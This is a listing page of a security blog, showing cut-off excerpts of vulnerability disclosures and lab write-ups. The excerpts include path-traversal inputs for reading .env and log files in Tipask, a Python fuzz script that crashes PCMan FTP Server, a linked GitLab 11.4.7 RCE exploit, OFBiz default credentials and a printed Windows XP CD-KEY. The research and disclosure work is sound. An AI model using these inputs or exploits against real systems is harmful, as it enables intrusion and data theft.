Security Research & Engineering Practice

Technical articles migrated from Yuque.

[Responsible Disclosure] Tipask Contains an Authenticated Arbitrary Local File Download Vulnerability

http://tipask/attach/download/attachments-2021-09-4oFjTAjm6142e9d617e23.pdf attachments-2021-09-4oFjTAjm6142e9d617e23.pdf E:\Desktop\CodeAudit\v3.5.5\storage\app\ attachments\2021\09 E:\Desktop\CodeAudit\v3.5.5\storage\logs\laravel.log # E:\Desktop\CodeAudit\v3.5.5\storage\app\..-logs-laravel.log E:\Desktop\CodeAudit\v3.5.5\.env E:\Desktop\CodeAudit\v3.5.5\storage\app\..-..-.env The latest version of Tipask contains an “arbitrary local file download” vulnerability. An attacker can craft special input to download arbitrary files on the Tipask server, such as .env, /etc/passwd, laravel.log, etc., leaking important sensitive information from the server. The impact is significant, and roughly 700+ customers on the public internet may be affected. ...

How to Obtain Source Code During Penetration Testing

Using a recent case, let’s talk about some techniques for obtaining source code in real engagements. (This is also material from a closed-door sharing session a while back: hope you guys enjoy it~ Liquid Files Liquid Files is a foreign file-sharing (cloud disk) system; official site: https://www.liquidfiles.com/ It’s a commercial system, widely used abroad. Today we’ll try to obtain the source code of this system and conduct a preliminary attack-surface assessment (an initial code audit). ...

[CVE-2013-4730] Studying the PCMan's FTP Server Buffer Overflow Vulnerability

[CVE-2013-4730] PCMan’s FTP Server Course links: https://www.secpulse.com/archives/116030.html https://www.aqniukt.com/goods/show/597?targetId=12784&preview=0 Installing Windows XP Windows XP Home Edition Simplified Chinese retail original CD-KEY: BQJG2-2MJT7-H7F6K-XW98B-4HQRQ Basic Steps of the Overflow 1. Trigger the exception import socket import sys s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("pacman",21)) # login BOF # Confirm the crash caused by bof here # It crashed at 2000 for i in range(1990, 2050): if i % 1 == 0: s.send(b"USER: " + "A".encode()*i + "\r\n".encode()) data = s.recv(1024) print(str(i) + ":" + data.decode()) 2. Analyze the exception => determine exploitability We observe that after sending 2000 A’s, the FTP server crashes and the EIP register is overwritten with AAAA (i.e., the 41414141 shown in the screenshot) ...

Post-Auth SQL injection vulnerability in app/topic/action/admin/topic.php#2 (bypass of CVE-2020-35337)

Vulnerability name: ThinkSAAS latest version app/topic/action/admin/topic.php contains a SQL injection vulnerability (administrator privileges required) Author: Author of the vuln: Qianxin, Network Security Department, Product-Safety Team ( Unc1e ) This document provides responsible disclosure, aiming to give the open-source code vendor details of the security vulnerability and to facilitate a fix before the vulnerability is exploited in the wild. 0x01 Background Last December, there was a security issue caused by improper URLDecode. See https://github.com/thinksaas/ThinkSAAS/issues/24 ...

Spring Actuator Unauthenticated Vulnerability Reproduction Notes

0. Background Actuator endpoints allow you to monitor and interact with your application. Spring Boot includes a number of built-in endpoints, and you can add your own as well. For example, the health endpoint provides basic application health information. dirsearch supports scanning for Actuator endpoints. 1. Vulnerability Detection Identifying SpringBoot /error, There was an unexpected error (type=None, status=<font style="color:rgb(0, 0, 0);">999</font>). /resume, There was an unexpected error (type=Method Not Allowed, status=<font style="color:rgb(0, 0, 0);">405</font>). For Spring 1x, they are registered under /; in 2x, they were moved to the /actuator/ base path. ...

A Look at the Classic SSI Injection

0x00 Cheat Sheet The keywords exec and cmd are case-insensitive, so mixed-case combinations can be considered for bypasses "-->'-->`--> "-->'-->`--> Common commands # General PoC  # Linux    # windows  0x01 Concepts The following is compiled from the Apache httpd tutorial[1]; feel free to skip the gray parts (TL;DR): ...

【CVE-2016–3714】ImageMagick Command Execution Vulnerability

0x00 Background ImageMagick is a package commonly used by web services to process images. Multiple vulnerabilities exist when processing user-submitted images: CVE-2016-3714, CVE-2016-3715, CVE-2016-3716, and CVE-2016-3717. The most severe of these is CVE-2016-3714, which can lead to remote code execution (RCE). This vulnerability was discovered by Nikolay Ermishkin, a security researcher on the Mail.Ru security team. The ImageMagick development team was notified and pushed out a quick fix, but it turned out to be incomplete. ...

[CVE-2020-9496] Apache OfBiz Deserialization Command Execution Vulnerability

0x01 Background Apache OFBiz is a very well-known e-commerce platform and a very famous open-source project. It provides a framework based on the latest J2EE/XML specifications and technology standards for building large- and medium-sized enterprise-grade, cross-platform, cross-database, cross-application-server, multi-tier, distributed e-commerce WEB application systems. OFBiz’s most notable characteristic is that it provides a complete set of components and tools for developing Java-based web applications, including the entity engine, service engine, message engine, workflow engine, rules engine, and more. By default you can log in with the username admin and the password ofbiz. ...

HackTheBox: Monitors Notes

Information Gathering Nmap Nmap scan report for Monitors.HTB (10.10.10.238) Host is up (0.30s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 ba:cc:cd:81:fc:91:55:f3:f6:a9:1f:4e:e8:be:e5:2e (RSA) | 256 69:43:37:6a:18:09:f5:e7:7a:67:b8:18:11:ea:d7:65 (ECDSA) |_ 256 5d:5e:3f:67:ef:7d:76:23:15:11:4b:53:f8:41:3a:94 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-generator: WordPress 5.5.1 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Welcome to Monitor – Taking hardware monitoring seriously Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel WordPress version 5.5.1 — registration is not allowed ...

HackTheBox: Ready Notes

Entry Point Nmap http://10.10.10.220:5080/users/sign_in #GitLab Community Edition 11.4.7 (RCE) How do you get the GitLab version? — According to https://stackoverflow.com/questions/21068773/how-to-check-the-version-of-gitlab, we know that: Register a user, log in, and you can see the version Search for it, and there’s an exploit: https://github.com/ctrlsam/GitLab-11.4.7-RCE/blob/master/exploit.py Successfully got a shell as the git user Privilege Escalation version: '2.4' services: web: image: 'gitlab/gitlab-ce:11.4.7-ce.0' restart: always hostname: 'gitlab.example.com' environment: GITLAB_OMNIBUS_CONFIG: | external_url 'http://172.19.0.2' redis['bind']='127.0.0.1' redis['port']=6379 gitlab_rails['initial_root_password']=File.read('/root_pass') networks: gitlab: ipv4_address: 172.19.0.2 ports: - '5080:80' #- '127.0.0.1:5080:80' #- '127.0.0.1:50443:443' #- '127.0.0.1:5022:22' volumes: - './srv/gitlab/config:/etc/gitlab' - './srv/gitlab/logs:/var/log/gitlab' - './srv/gitlab/data:/var/opt/gitlab' - './root_pass:/root_pass' privileged: true restart: unless-stopped #mem_limit: 1024m networks: gitlab: driver: bridge ipam: config: - subnet: 172.19.0.0/16 Digging further ...